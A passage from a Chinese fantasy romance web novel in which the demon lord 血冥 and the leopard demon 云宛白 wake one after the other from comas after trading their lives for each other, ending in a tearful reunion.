这么苛刻的复活条件偏偏云宛白能够做到。 曾经,冥冥用他的心头血为云宛白疗伤,他的血便一直留在了她的体内,成为了她的一部分。 而血冥的原身还是妖与人的混种,妖丹在他体内运转不会受到排斥。 最重要的是,冰棘豹一族的冰雾最能克制巨毒,再加上云宛白之前已经好几次都中过神界特制之毒,在不断的恢复后已经产生了能够抵御此类毒的抗体。 而血冥本身就是百毒不侵之人,这次中招不仅是因为毒的剂量大,更因为没有对此毒的抗体。 有了云宛白的帮助,再加上他自己强悍的身体素质,血冥只需要一个引子便能战胜毒素恢复意识。 冥冥之中,一切早已注定。 冥冥。 原来他的名字,还有这样一层解读方向。 只可惜,自己不能亲口问他为什么要叫“血冥”这个名字了。 那就下辈子吧。 只要有缘,总能再相遇的。 众人仰头望向天空,看着二人在空中相拥亲吻。明明是如此唯美旖旎的一幕,可众人感受到的只有震撼与悲凉。 尊主与冰棘豹,大概就是这世间最苦命的一对鸳鸯了。 这该死的命运,让他们注定只能阴阳两隔,可又有谁能够劝阻她不要这么做呢? 众人默默流泪,低声唱起了在魔界流传甚久的歌谣。 “爱,自污泥生长。” “向着太阳眺望。” “心爱的人,请等等我吧。” “我会出现在你身旁。” “风想把我吹倒,” “雨想将我淋伤,” “但我还是看到了太阳。” “心爱的人,请回头看吧。” “我已出现在你身旁。” “……” 歌声未绝,漂浮在天空中的二人缓缓下坠。 神思渺和荼玉同时上前,一人接住血冥,一人接住云宛白。 他们都失去了呼吸,静静地闭上了眼。 “师父,接下来要怎么做。”荼玉压抑着自己的情绪,只是轻轻地问道。 神思渺也抬头望向宿庚,等待下一步指令。 只见宿庚侧过头不知道在想些什么,猛然,他一拍大腿,哎呀了一声。 “怎么了师父?” “自然冰心!自然冰心啊!”宿庚狠狠敲了敲自己的脑袋,面露惊喜,“我怎么就忘了这件事呢!” 荼玉对自然冰心并不了解,只是疑惑地歪了歪头。 神思渺倒是有所耳闻,思考了一会儿之后,嘴角不由的跟着扬起了一抹弧度。 “神君大人,”宿庚从善如流地改口,瞬间积极了起来,“方便安排我们到魔殿吗?我还需要一些神界药材,回头我列个清单。” “自然可以。”神思渺点头答应,这简直是再小不过的事情了。 一想到血冥和云宛白都有可能活下来,神思渺总算没那么死气沉沉了,硬撑着的身体看上去也好了许多。 在他的安排之下,云宛白和血冥双双躺在魔殿的病床上等待苏醒,宿庚和荼玉在旁尽心照顾,期待奇迹发生的一天。 只是过了一月,血冥在慢慢恢复了一丝呼吸之后体温仍然冰冷,也不见有任何苏醒的迹象。 云宛白亦如是。 她没有呼吸,只有在她体内自然冰心静静跳动的声音。 第87章 第87章为什么要让她救我? 自打大战胜利后,神思渺一直很忙碌。 按照和血冥的约定,他出面稳定了大局,肃清了神界当中藐视天道人命的渣滓,又不辞辛劳地“提纯”出了神界当中品行端正之神继续留在神界钻研天道。 他还开放了神界与仙界之间的道路,让神界成为道之大成者的圣地,而并非只有修仙之人才能前往的地方。 也就是说,即便是魔界之人也一样可以得道成神。 他大刀阔斧地将三界重新划分为六界,这是他曾经和血冥一起商量定的,让妖、冥二族重回旧地不再颠沛流离。 但为了妖界冥界不再多生事端,能够好好休养生息直至完全恢复气候,他直接指名让妖冥两界中实力和德行并存之人暂为管理,好帮他分担一些事务。 跟他合作过的狼亘以及冥界旧皇子就是不错的人选,也足够服众。 至于魔界,有血冥曾留给他的手谕,再加上大战之时他与血冥毫不隐瞒的亲昵关系,三门五堂对于他的命令还是比较服气的,无论他发出什么样的命令他们都很配合。 此外,他也没有忘记为母亲一族正名,将当年的真相公之于众,彻底把龌龊的神家打下了神坛,还凤家清白。 以绝对强势的身影活跃在六界,其实关于神思渺六界之主的称号早已成为了事实,也有不少人狂热地拥护他,想将他推上至高无上的地位。 可神思渺并没有这么做,他依然坚持称自己为共治君主之一,而将另一位共治君主的名号留给了血冥。 他始终相信,血冥一定会醒来。 也正因为他的态度十分坚决,同样相信尊主一定会醒的魔族之人,也打心底愿意暂且配合共治君主,安分守己不惹事。 除了日夜忙碌,有一件事神思渺每天都会坚持,那就是对血冥和云宛白的探视。 每到晚上,无论他有多忙,他都会推掉一切事宜来到魔殿,安安静静地陪着他们两人。 就像和朋友闲聊一样,絮絮叨叨地说他今天做了什么、有什么成果、又惩治了谁谁谁,达成了什么样的效果。 就连他今天忙到没时间吃饭这种事情,他也会跟他们两个人倾诉。 这天,他按照惯例来到了魔殿,难得有闲心地更换起了魔殿中的绿植。 近日神界的素缎花开的很旺盛,模样很是好看,香味也清新自然。 想着让他们闻一闻季节更迭的味道,或许对苏醒有帮助。 神思渺便特意折了一枝放在了二人床边,还给素缎花做了点典雅的造型,插在了相搭配的新花瓶里。 做完这些事,他又熟练地帮二人擦拭脸颊,用沾了水的棉枝轻点他们的嘴唇时刻保持湿润。 其他的照顾他便不再多做了,白日里自然有更专业的人会做。 他一个当兄弟的,做的太多也不合适。 像血冥这家伙,等他醒了,要是知道自己对云宛白进行了简单的照顾,就算没有做任何逾矩的事情,这个大醋王也指不定要怎么阴阳自己呢。 一想到那样的场景,神思渺就忍不住摇头失笑。 他坐在一旁悠悠用起晚膳,边吃边说: “你们两个也真是的,对彼此的感情这么重,却偏偏到生死时刻才肯显露出来。” “这下子,全天下可都知道你们二人情深义重了,那一幕不知道被多少人津津乐道。” “我可是听宿庚他们说了,好像火灼等三门五堂都有意替他们的尊主好好表达一番感情呢,就等你们二位醒来了。” “哦?你要问怎么替你表达感情?” “这可是秘密,没看到弟妹就在一旁听着吗,我是不会说的。” 神思渺自说自话地笑道。 这可不是什么玩笑,血冥和云宛白之间以命换命的事早就传遍了六界,不知道赚取了多少人的眼泪。 现在全天下都在盼着能有奇迹发生,期待他们二人同时活过来。 不过,虽然这二人迟迟未醒令人担忧,但神思渺的心情并没有太过沉重。 他听宿庚说了,在自然冰心的作用之下,云宛白现在进入了龟息状态,身体也在慢慢的调养当中。 而且根据宿庚的判断,自然冰心或许有望直接成为她新的妖丹。 一般而言,妖丹都是由妖力修炼凝成,可宿庚查了云宛白的经脉发现,自然冰心竟隐隐地将躯体内所剩妖力不断集中在了自己身上,并逐渐蕴养出新生的妖力。 虽然数量并不多,可这趋向就足以令宿庚欣喜若狂。 要知道,以冰棘豹一族至宝为妖丹那可是天大的机遇,世间仅此一例! 这对云宛白的修炼之途可谓是一件大有裨益的好事。 所以,云宛白重新凝出妖丹就是时间问题,只要坚持就一定能胜利。 而血冥的呼吸也已经逐渐平稳了,就是他体内的毒素还没有完全解除。 有时候血冥的手指已经在动,眼珠也在眼皮底下转动,可就是迟迟未醒。 不过,这些都是即将苏醒的征兆,神思渺相信自己的好兄弟命不该绝。 更何况血冥的命是云宛白换来的,他这么心疼他的乖乖,又怎么能忍心让云宛白的付出白费? 所以,神思渺就天天念天天念,催着他们二人早日醒来。 等神思渺离开后,守夜的人便是荼玉,他沉默地帮二人掖了掖被角,就一直在不远处静静看着。 他并没有借机靠近云宛白,而是一直保持在不远不近的位置上。 当时眼前二人互相抵命的画面仍在他的脑海里盘旋,给他留下了极大的震撼。 虽然他相信,即便是自己遇到了那样的情况,也一定会选择以命相救。 可是,那只是他单方面的想法,比不过二人的心意相投。 最重要的是,宛白能有一个做事靠谱且彼此深爱着的爱人,就足够了。 若是她没有遇到一个好的归宿,那么自己是绝不会退出这场战斗的。 荼玉想的很清楚,在宛白心中,他远远比不过血冥的份量。 不如退而求其次,当她的一个朋友也挺好。 唉,你们两个快点醒来吧。 明明都是好人,好人就应当有善终,怎么能让恶人得逞呢? 在一片夜色中,荼玉就这样静守着,为二人不断祈祷。 …… 血冥只觉得自己做了很长很长的一段梦,这梦和他的乖乖有关,以至于他在睁开眼的时候,整个人还有些恍惚。 云宛白。 嘶,我怎么想不起我刚才具体做了什么梦? 他的乖乖呢? 血冥不由得抚住了额头,还没有从头晕目眩的状态中恢复。 他向侧边转身躺着,眼前的画面也变得逐渐清晰了起来。 这是他所熟悉的魔殿,天之将亮,将大殿照的很清晰。而就在自己对面,还躺着一个他此刻最想念的人。 “乖乖?” 血冥下意识念出了声,随后记忆像烟花一样在他脑海中倏地炸开,他不禁痛苦地紧紧闭上了双眸,努力消化这些记忆。 很快他就全部都记起来了。 他为乖乖挡了一击,随后自己好像在她的怀中昏死过去了。 那一幕肯定吓到乖乖了,乖乖她还好吗? 血冥下意识放轻呼吸,不想惊动对方,但又忍不住想要去触碰云宛白。 因为在他的视角中,他已经将乖乖救了下来,他也并不后悔自己的决定。 他甚至没想到自己还能够再次醒来,再见到乖乖第二面。 或许乖乖就是为了等自己苏醒,就一直睡在自己身旁吧。 两张床隔的并不远,他只要伸展长臂便能触碰到对方。 可就在他伸手探向乖乖的脸庞时,他并没有感受到任何的呼吸。他心一颤,继续把手伸过去用手指按在她的脖颈上,更是没有一点跳动。 乖乖怎么了!? 他的大脑猛然钝痛,本就苍白的脸色更是一片惨败,他强行支撑起自己的身体下床,跌跌撞撞向着乖乖的床边扑了过去。 他这一动作闹出来了很大的动静。 此刻正值荼玉与值白班的妖使进行交接时,他人还在大殿之外。 向来安静的魔殿发出了这么大的声音,着实把荼玉吓了一大跳。 他立马跑了进去,远远便瞧见跪坐在云宛白床边的血冥。 惊喜与担忧同时涌上了心头,他赶紧跑上前搀扶住血冥:“尊主!您这才刚醒,千万不能有大动作,快躺回去!” 血冥根本听不进任何劝告,他的眼中就只有躺在面前生死不明的乖乖。 他一把抓住了荼玉的肩膀,红着眼狠狠摇晃:“到底发生了什么事?为什么乖乖会躺在这里?我不是已经救下她了吗?为什么!你说啊!” 荼玉应付的很是艰难,当务之急务必要让血冥冷静下来,免得他急火攻心再次昏迷。 好在他早就掐诀启动了一张魔符,这是他和师父之间紧急传信的一种方式,一旦他启动此符,就意味着大殿出了事。 果然,不出几个呼吸,本就在魔殿另一头候着的宿庚飞速赶来,在血冥之后格外惊喜,直接喊道: “尊主醒了!尊主他终于醒了!” 几个愣在原地的妖使们这才欢天喜地地蹦了起来,随后立马跑出去通知各个门主堂主,告诉他们这个天大的好消息。 而宿庚在见到血冥的第一面也立马激活了一枚玉符,通知神思渺赶紧赶过来。 他本人则立马跑上前,一把按住尊主,强行将他带回到他自己的床上。 “尊主,您要是想让豹儿的心血全部白费,那您就继续乱动吧!” 还是宿庚懂得拿捏血冥的心理,听他这么一说之后,血冥的身体立马僵硬了下来,任由荼玉带回到床上躺下。 大病初愈的他身体非常虚弱,本来因为心急让他强行调动所有的力气站起身,可这么一躺下之后,原本的虚弱劲便千百倍的还到了他的身上,连喘气都显得有些困难了。 可他还是坚持将头扭向乖乖的方向,哑着嗓子问宿庚这到底是怎么一回事, 宿庚叹了口气,一边检查尊主的身体一边对手底下人吩咐了一句,然后扭回头说: “尊主别急,我先向您事先声明,豹儿她是一定会醒的,无非是哪一天才会醒的问题。” “至于到底发生了什么,我想还是等您冷静下来之后,再让您亲自看一看当时发生的事吧。” 为了记录这场“正义之战”,神思渺安排了很多人在各个战场各个角度,分别记录下了战斗的情况。 而云宛白和血冥互相牺牲的过程也被完整地记录下来,并被复刻了很多份送往各个地区播放,让两位共治君主的身份能够“名副其实”。 宿庚这边就留有了一份,一旁的妖使赶紧去把留影石拿了过来。 有了宿庚的保证,血冥这才勉强压下了自己的焦急。 可是在看完了留影石后,他却怎么都没法平静,甚至于他红着眼睛质问宿庚为什么要把救他的方法告诉乖乖,要不是乖乖体内有自然冰心且真的发挥了作用,她就真的死了! “尊主,这怎么能怪师父?”荼玉忍不住帮腔。 第88章 第88章不许当甩手掌柜 “荼玉,慎言。”宿庚低声道。 他知道徒儿的心意,可是在尊主面前怎么能说这种话。 荼玉不服气地想再讲几句,但被师父狠狠瞪了一眼后就不说话了。 训了徒弟之后,宿庚这才抬头挺胸,面向尊主双膝下跪,郑重喊道:“臣有罪!” 血冥也清楚方才是自 己失言了,只是他一时间也拉不下脸说些什么,但宿庚下跪这一出让他很是不解:“为何要跪?” 宿庚抬头,明明白白讲起了当时他用传音的方式,劝豹儿自私一点保全自己的事。 这件事实属大逆不道,不过宿庚早就决定要在尊主苏醒后全盘托出求降罪,他不想对尊主有任何隐瞒。 但宿庚也相信,尊主一定会理解他当时的选择。 果然,在听了宿庚的话后,血冥的脸色反而缓和了许多:“快快请起,你做的对,这件事不怪你。” 谁能够想到,乖乖会如此毅然决然地选择救血冥。 她当时可完全不知道自然冰心的事,也就是说,她完全是抱着用她的命换血冥活下来的希望去做的。 她是那么的决绝,以至于在众人面前完全不给自己留退路。 这世间,论还有谁能够比得过她对自己的情分? 可笑的是,乖乖对自己的心意明明如此厚重,而自己之前却那么的犹豫。 就因为担心不能得到同等的回应就迟迟未将心意表明,如此畏首畏尾,又怎么比得过乖乖的勇敢? 血冥在内心狠狠训斥自己。 也幸好乖乖有自然冰心,假以时日便能醒来。 可若是没有这个前提,乖乖就这么没有声响地离开了他呢? “乖乖……” 酸涩的情绪毫无征兆地涌上心尖,血冥垂下头,被子上悄无声音地晕开了两团水墨。 “血冥你醒了?!!”神思渺简直是冲进了魔殿,速度快到都没办法刹住脚步地扑在了病床上。 血冥慌忙抹了抹眼睛,若无其事地抬头。 神思渺赶来的速度那叫一个飞快,要知道他本来在冥界协调事宜,但是在收到了宿庚的传信之后,他不惜使用了异常珍贵的传送石让自己以最快速度赶回到魔殿。 在仙魔大战中,血冥与他的兄弟情谊早已得到了证明,他在那一刻也早就将血冥视为了比血脉还要浓的真正的好兄弟。 他也曾对天发过誓,今后一定会好好照顾血冥和弟妹。 这不,在收到来信之后,自觉当哥哥的神思渺马不停蹄地赶了过来。 而他一出现在魔殿,就看见了明显虚弱但已然苏醒了的血冥,表情那叫一个惊喜。 “一年了,你小子终于睡够了?!” 神思渺哈哈大笑,刚想拍血冥的肩膀,但他很快意识到了这个动作可能会给血冥带来一定的麻烦,便转为了拍床被。 “我已经沉睡了一年?”血冥皱眉,颇有些惊讶。 他以为自己最多只沉睡了几月。 既然神思渺来了,他也确实想问一问现如今的局势如何,到底有没有照着他们当时所预想的方向走下去。 听血冥如此一问,神思渺也端正了脸色,坐在一旁大致与他讲了讲从大战当时到现如今的一切经过。 毕竟都是两个大男人,再相互嘘寒问暖的多少有点奇怪,他们可不搞煽情那一套。 这一讲便讲了将近一个时辰,宿庚也没过多打扰二人,但是该用的药和该吃的膳食还是不能落下的,全部都为二人准备齐全。 听完了所有,血冥喝了药之后背靠在床榻上,轻轻叹了一口气:“幸好有你,这段日子辛苦你了。” “我们之间何必如此。”神思渺摆手,嫌弃血冥跟自己太过客气。 可血冥必须要说出口。 尤其在经历了生死之劫后,他有许多的感想想要倾诉。 他告诉神思渺,他其实在很小的时候就想和母亲过上平淡温馨的日子,即便当上了魔尊之后他也总这么想。 因为这份责任太沉重了,即便是他也偶尔会有任性的时候,他不想再为世间发愁,只顾好自己的小家。 可惜,母亲不在,他早就没了家。 回顾往昔,当年若不是为了报仇,他也不会选择跳入堕魔污泥,任由自己变成容纳至纯魔息的载体,又反过来将其控制在自己的体内,获得了魔界之灵的认可,掌管整座魔域成为了魔尊。 那些痛苦都暂且不提,但仇恨可以说是一直支撑他走到现在的最重要的支撑。 可当大仇得报之后,他的心忽然就变空虚了,根本不知道要做些什么。 原本他和神思渺说过,只要能够实现目标,他一定会同好友一起踌躇满志地前行。 但这句话其实是骗神思渺的,血冥压根就没有想过自己的结局。 因为在他的设想当中,他希望能由自己亲手了结仇人,了结这份令他家破人亡的罪恶。 对他来说,最幸福的结局便是在战斗中两败俱伤以死相抵,满足而又坦然地死去,与母亲团聚。 毕竟他在这个世界上已经没有任何亲人了。 可是直到真正赴死的那一刻他才意识到自己仍有牵挂。 他并不担心好兄弟神思渺,他相信神思渺一定会好好照顾自己,带着他们没有完成的目标一路向前。 可是,他唯独放不下的就是乖乖。 他在为乖乖挡上一击的时候心中是非常满足的,他觉得自己发挥出了应有的作用,也让自己生命的落幕变得最为完美。 可是在乖乖声嘶力竭的哭喊声中,他的心中又生出了许多不舍。 那时候他真的不想离开了。 他想陪着乖乖。 但一切都无济于事,他最终在乖乖的怀里离开,想必那一幕一定给乖乖造成了很大的影响,他感到非常的抱歉。 “所以我希望你能理解我,我现在暂时还没办法和你一起共治,我想在这里陪着乖乖,直到她醒来的那一刻。” 血冥知道这个请求很“不体贴”,他也不想在好兄弟忙得累死累活的时候自己就在一旁当个甩手掌柜。 但乖乖一日没醒,他根本放心不下来,更别说出门在外去处理事务了。 他知道神思渺为他留了个共治君主的位置,但他现在根本无心承担这份责任。 面对血冥愧疚的神情,神思渺倒是无所谓,他很是理解地点头。 反正他孤家寡人一个,能够成全兄弟的痴情也挺好的,忙就忙点呗。 再说了,他和血冥可是过命的交情,说这些就太见外了。 尚且不说在仙魔大战之时血冥毫不犹豫地为自己挡了一刀,神思渺当下的感动是无法言表的。 毕竟他的亲生父亲还想着置他于死地,而异姓兄弟却能为他两肋插刀。 那样的对比太过鲜明。 而且神思渺和血冥的交情也很久。 当年他还小,仍在神界之时,有一天他不小心撞见了父亲的邪恶实验,正好碰到一场大火,见到有一个和自己年纪差不多的小孩正在逃命,神思渺没有多想便出手相助。 但他能做的也仅仅只是帮忙指了一条路,并没有再做其他的帮助。 可下一次他再和这个小男孩,也就是血冥见面的时候,血冥一眼就认出了他,并将他称之为自己的救命 恩人。 一来二去的两人就熟识了,甚至有了共同的抱负和理想,一路并肩前行。 正因为他们对彼此的了解太深了,神思渺很清楚血冥的性格,也知道隐藏在他坚强外表之下的脆弱和执拗。 别看他现在还能撑得住,可云宛白就是他唯一的精神支柱。 如果云宛白不在了,他也不可能继续撑下去。 所以神思渺是真心希望云宛白能够早日醒过来。 血冥现在的状态看着还好,还能够稳定住自己的心态,但要是时间一长,自己这个好兄弟指不定要怎么要魔怔。 为了避免出现这种情况发生,神思渺觉得自己必须得做一次恶人。 “我能体谅你的心情,但你也得体谅体谅我,你就这么忍心让我一个人面对六界的事务?” 神思渺使出了自己的演技,硬生生用内力让自己的脸色变得愈发苍白,逼着血冥左右为难。 就在血冥骑虎难下之时,神思渺这时候又大度的表明: “这样吧,不需要出面的事你来帮我解决,至于需要有人到场的还有难度特别大的都由我来做。我会把那些政务拿到魔殿让你审阅,你总得替我分担一些,你说是吧?” 血冥一听也是这个理,只要能够不离开乖乖,这样的帮忙方式他能够接受。 更何况自己确实不占理,是他对不起神思渺在先。 血冥点头答应了。 好在神思渺也只是想让血冥有点事情做,能分散他的注意力,他给过来的工作量并不会影响到血冥养伤。 为了不影响乖乖,血冥与她隔了一个房间来处理公务,随时注意着乖乖的动向。 在神思渺和血冥两位共治君主的努力之下,他们一个出面办事一个幕后筹谋,配合的相当默契,六界也以更快的速度慢慢安稳了下来。 只是血冥越等待,他脸上的笑容就越少。 不知不觉已然三年。 乖乖竟还是没能醒来,就连原本信心满满的宿庚都慌得不知道该做些什么。 血冥更是如此,他一个从来只相信自己的人,都开始将希望寄托在虚无缥缈的“天道”上。 他不停地为乖乖祈福,祈求上天能够让她早日醒来,每次祈祷的时候,他都向上天表明愿意用自己的所有乃至于生命去交换她的苏醒。 只可惜,上天并没有听到他的请求,乖乖依然不曾醒来。 这三年,血冥也全权接过了对乖乖的看护权,丝毫不假借于人,将她照顾的细致入微,看上去就真的像是睡着了一样,完全没有任何的病容。 而每一晚,血冥也都会将乖乖抱在怀里,下巴抵着她的脑袋环抱入睡,直到天亮时分。 有时候,血冥还会梦到乖乖苏醒过来的场面。 可喜极而泣地醒来后,迎接他的却依然是身旁毫无反应的乖乖。 这种无限闪回的惊喜与空虚更令他怅然若失。 他甚至在梦境中回忆起了当年自己沉睡时所做过的离奇而又甜蜜的梦,梦境的主角就是他和乖乖。 他多么希望乖乖是和自己一样,都在梦境里体验了一种新的人生,体验过后就能舍得回归现实。 但,奇迹还是没有发生。 …… 云宛白感觉自己好像在水下憋气,快憋到炸的时候总算能够将头抬出水面,不由得贪婪凶狠地猛吸了一口空气。 她倏地睁眼大口喘气,整个人弹了起来在床上坐直,心脏跳动的快从嗓子眼里蹦出来了。 云宛白的大脑很是混乱,她的记忆就停留在把妖丹放入血冥体内,帮他解除经脉毒素的那一瞬间,然后……就是现在了。 等等,那我是救成功了还是失败了? 血冥他活了吗? 第89章 第89章唠唠叨叨的,小心我堵你…… “尊主,江安岛岛主那边还是不太配合,您看我们是不是要……” 火灼等人正在魔殿进行他们的日常工作汇报,而血冥正在魔殿中央端坐着,若有所思地点头。 他指尖轻点扶手,道:“手法不要太激进,其他的你们看着办就行。” “是。” 就在这突然间,所有人都听到后方传来了一阵动静。 “谁?” 血冥下意识扭头往后望去,表情很是警惕。 在他的潜意识中,他根本没有关于乖乖醒来的这个预设。 原因无他,累积的失望次数实在太多太多了。 这些年来他时常幻听,幻想着会不会在某一天的清晨,乖乖能够安然醒来。 可每一次他跑回到后方隔出的单间去看,收获的就只有失望。 所以这一回,在听到动静时他的第一反应就是后面出了事儿。 难不成有什么贼人要对乖乖动手? 血冥不再犹豫,起身就往后殿赶去,其他人也都跟随尊主的脚步快速前往,还都掏出了武器。 —— 云宛白刚醒不久就强行坐起,这个动作让她本就没有平稳下来的呼吸变得更乱了,眼前更是突然黑了下来,什么都看不清。 她的头很晕,下意识想要往床上一靠来缓一缓,结果就在这个时候,她感受到自己突然被一双熟悉的臂弯拥紧。 “乖乖……” 血冥巳然说不出其他的话来,眼前的景象让他忍不住怀疑是不是自己又在做梦,他只能通过越收越紧的怀抱来确认眼前之人真的存在。 云宛白吓得一激灵,她刚想反抗,而蒙在眼前的黑色星辰也恰巧逐渐散去,她总算回过了神。 先是一怔,云宛白很快意识到这份怀抱很是熟悉,简单一联想后她瞬间高兴起来了。 太好了! 冥冥还活着,我的努力没有白费! 只可惜她的脸被完全埋在了对方的胸膛之中,根本无法看清面容。 但她不需要确认就能够肯定,眼前之人一定是冥冥。 “活着就好!”云宛白也狠狠地抱了回去,双臂用力。 此刻的她并没有意识到这份拥抱已经用力到“失了分寸”。 从她的视角看来,给冥冥换命再到自己苏醒,不过是一瞬间的事。 等到理智回笼,欣喜之情也逐渐冷静之后,云宛白这才突然回想起来,自己在“死”之前对冥冥表露出来的心意。 本来人都死了,那样的画面可以算得上是唯美动人。 可现在男女主人公都活过来了,观众又那么多,很难不社死啊…… 所以抱着抱着,云宛白迟来的尴尬忽然涌上心头,这令她拥抱的动作一僵,忍不住想要缩回手。 但就在这个时候,更早一步清醒的血冥忽地结束拥抱,转而用力按住了她的肩膀,强行与她对视。 偏偏血冥又不说话,就只是紧紧地盯着,他深邃的眼眸中藏着无数想要诉说的话。 别呀,你这么深情的盯着我,我有点受不了。 云宛白想要躲开他的视线,但血冥再一次双手用劲:“看着我。” “干嘛……”云宛白更扭捏了。 她还以为冥冥是要说出什么表白的话来,虽然对于这种场景她早就有所预料,早在很久之前她就意识到血冥对自己有意思。 只是那个时候她也没想好要做出什么样的回应,干脆配合对方的逃避心态一起当个鸵鸟,维持原状。 可是以命换命之后,一切就都藏不住了。 云宛白眼尖地看到血冥身后还跟着一堆魔界精英跟屁虫,满脸都写着八卦二字。 哎呀臭冥冥,这么多人都在呢,这种时候说些过于亲密的话不太合适吧。 云宛白想要推拒,但血冥已经开口了。 “谁让你自作主张救我的!你知不知道和你比起来,我的安危根本不算什么!” “要不是因为自然冰心,你真的就死了,你到底明不明白!” “我救你就是为了让你好好的活下去,你为什么还要犯傻,把我好不容易救下来的命又还给我。” “宿庚对你一片好意,希望你能够自私一点,你怎么就不领情呢?” 这些责备的话在这几年来一直都萦绕在血冥的心头,他早就想质问乖乖为什么不听话非要救他,让他即便在醒来之后也依旧自责到如今。 云宛白懵了。 等下,这和我预想中的对话完全不一样啊!? 血冥还在唠叨,大有一种不把话讲完就会被憋死的感觉。 “如果没有你,我活下来又有什么用?” “你怎么能忍心让我一个人在这世界上,尤其我这条命还背负着你牺牲的代 价。” “你知道我在等待你醒来的这几年里到底有多煎熬吗?” “我每天都期盼着你能醒来,可每天见到的都是你沉睡的模样,我的心有多痛你不会知道。” “我每分每刻都恨不得用我这条命来偿还你的牺牲,你到底明不明白?” 这一顿输出,不仅云宛白傻眼了,就连身后偷偷吃瓜的几位门主也都默默闭上眼睛抿住嘴,恨不得钻个地洞当隐形人。 尊主这表明心意的方式,当真有些强悍。 人家才刚醒来,这是个问责的好时机? 不应该趁热打铁表明心意互诉衷肠完美结局吗? 能和冰棘豹心意相投如此之久却毫无进展,看来其中的原因便是如此了。 算了,当下属的还是别多嘴了,赶紧撤离才是正解。 几人对视一眼,很有眼力见地选择默默退出后殿,随后赶紧通知统妖司的人,告诉他们冰棘豹醒过来了。 对不住了尊主,属下只能帮您到这儿了。 希望在妖使们赶过来之前,您可千万别把冰棘豹气出什么好歹来。 免得待会儿冰棘豹生气吼尊主后,没地方发脾气的尊主要是怪罪下来,就是他们哥几个背锅。 惹不起惹不起,赶紧躲开吧! 他们几个还能跑得了,云宛白跑不了一点。 本就虚弱的她被血冥钳制的死死的,听的一阵心虚。 但念几句还好,多了就烦了。 任凭谁刚醒来就听到这么一顿碎碎念,还都是指责的语气,能不生出起床气吗? 云宛白原本的尴尬早就被血冥训没了,甚至更加理直气壮了起来。 拜托,我可是为了救你哎,这不是说明我挺喜欢你的嘛…… 但是! 你不仅没有夸夸我哄哄我反而一顿唠叨,这可就没意思了。 血冥还没察觉出云宛白内心的不爽,他只是沉浸在乖乖回来的喜悦中忍不住犯了爹瘾,导致他在病床旁一顿唠叨,完全忘了顾及病人的情绪。 “你说完了没?” “当然没有,我要是不多说一点,你能长记性吗?乖乖,以后这种危险的事情你想也不要想——唔……!?” 云宛白烦得要死,平时少言寡语的一张嘴今天怎么这么能叨叨,刚好离自己又凑的那么近,她索性用嘴堵了回去。 嗯,老实了。 血冥瞪大眼睛,连呼吸都忘记了,更别提原本还有一大堆要教育乖乖的话。 现在,他脑袋里所有的想法都被这枚意料之外的吻所清空。 他静音了,也呆滞了,就这么眼神无法聚焦的盯着面前放大的乖脸,老实的不像话。 别看云宛白的动作这么大胆,其实这也是她脑子一抽做出的决定,她根本没想过之后要怎么办。 而且她也没有任何恋爱经验,所有的知识全部来源于影视剧,包括眼前的堵嘴杀。 但她能够做到的也就只是唇瓣相碰,再大胆的事情她也做不出来,更想象不出来。 见效果达成,心中鼓起的勇气也随着时间散去后,云宛白故作淡定地将身体后撤,拿出恋爱老手的气质。 总之,绝对不能露怯! 血冥果然被唬住了,他就这么呆愣愣的看乖乖亲了上来,然后又一声不吭地放任她结束这个吻。 要是他理智还在线的时候,他绝不可能轻易放过乖乖,更不会让这个吻“无名无分。” 只可惜,他的大脑早已停止了运转,错失良机。 冷不丁的,他终于回过了神,身体就跟慢了好几拍一样,直到这时候才瞬间爆红。 他飞速起身,语速极快地说道:“你刚醒,我就叫宿庚过来看看,对,再给你准备点吃的。” 他眨眼的频率高到离谱,甚至同手同脚地向后退。 幸好这后殿内就只有他们二人,要不然血冥一定会在回神之后将所有看到这一幕的人洗去记忆。 云宛白很早之前就发现,只要血冥飞快眨眼就说明他要么紧张要么心虚。 此刻,成功洞察了冥冥内心的云宛白莫名有些小嘚瑟,露出了作为主导者得意的笑容。 耶,又不是没亲过,怪可爱的。 不过那个时候亲冥冥,他应该也没印象? 就在魔殿值守的荼玉来的最快,天知道他在听到这个消息之后有多高兴,几乎是欣喜若狂的就往这里奔。 只是,他在即将迈入后殿之时,正好亲眼看到宛白凑近血冥烙下一吻。 喜悦的心情瞬间被浇了一盆冷水,他立马冷静了下来,最终收回了即将迈出去的脚,选择依靠在门旁,等待师父一同进入。 这样的场景他早有预见,只是没想到会来的那么快。 他有心想要退回到朋友的角色,但适应起来……果然还是有些难度。 即便如此,他也依然开心于云宛白的苏醒,在心中默默为她庆祝着。 “豹儿!豹儿!” 宿庚可没管那么多,他骑着煞惹龙在魔殿远处刹停,直接飞跃而下冲了进来,一路高喊着。 他甚至没注意到站在门口的徒儿,满心满眼都是他家的好豹儿。 “豹儿!” 宿庚一眼就瞧见了坐在床上的云宛白,两眼一红奔了过去,连带着尊主在一旁闹大红脸的身影都被直接忽视了。 “豹儿~呜呜呜呜你醒了就好,醒了就好啊!” 宿庚狠狠抱紧云宛白,老泪纵横。 云宛白也被爷爷勾起了伤心处,同样抱紧爷爷大哭了起来,这一哭便哭了近一盏茶的功夫。 好不容易有一人停歇了,但在看向对方之后就又哭了起来,根本停不下来。 血冥也被勾起了难过之情,在一旁默默垂泪。 完全忘记了让宿庚重新诊断并上点膳食的打算。 还是荼玉看不下去,不得不出来主持大局:“师父,宛白刚刚苏醒,最忌情绪波动,您老就别再哭了。” 要哭也背着宛白哭啊,拉着她一块在那干嚎算什么? 当务之急是看病啊看病! 还有尊主,您就别瞎掺和了,您流泪很有违和感的。 “哎是是是,是爷爷太高兴了。” 宿庚非常粗犷地用袖子狠狠一抹脸,这才扬起一张大笑脸:“来,先让爷爷把个脉啊。” 第90章 第90章你该不会又穿越又重生了…… 云宛白这才收了泪水,让爷爷好好检查一下身体。 检查出来的结果非常不错,云宛白因祸得福,成为了冰棘豹一族第一个以自然冰心为妖丹本体的幸运儿,未来修炼之途不可估量。 只是龟息多年才醒来,她的底子亏空的不行,需要好好补一补才能够缓过来。 血冥担忧的表情这才缓和了许多,终于能够放心地笑了出来。 不只是宿庚,其他得到消息的人都纷纷赶了过来,庆祝这多年来的大大大好消息。 血冥也不拦着大家,此时此刻的他也更愿意被热闹所包围,而不是像从前那样独自一人沉浸在孤独的寂寞当中。 荼玉像是一个旁观者,他与周围人格格不入,但他的眼神从始至终都投在云宛白身上,克制而又安静。 没有人注意到他,包括血冥和云宛白,也就只有师父发现了他的落寞,走过来安慰地拍了拍他的肩膀。 荼玉扭头看向师父,就听见师父说:“看开点,这是件好事,你也该走出来了。” 过了很久,荼玉才用力点头:“……嗯。” 